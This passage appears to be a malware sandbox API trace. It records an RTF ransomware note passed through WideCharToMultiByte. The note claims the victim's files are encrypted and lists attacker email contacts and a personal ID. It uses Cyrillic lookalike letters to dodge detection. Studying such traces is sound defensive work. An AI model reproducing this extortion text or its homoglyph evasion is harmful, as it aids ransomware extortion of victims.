d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.059] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 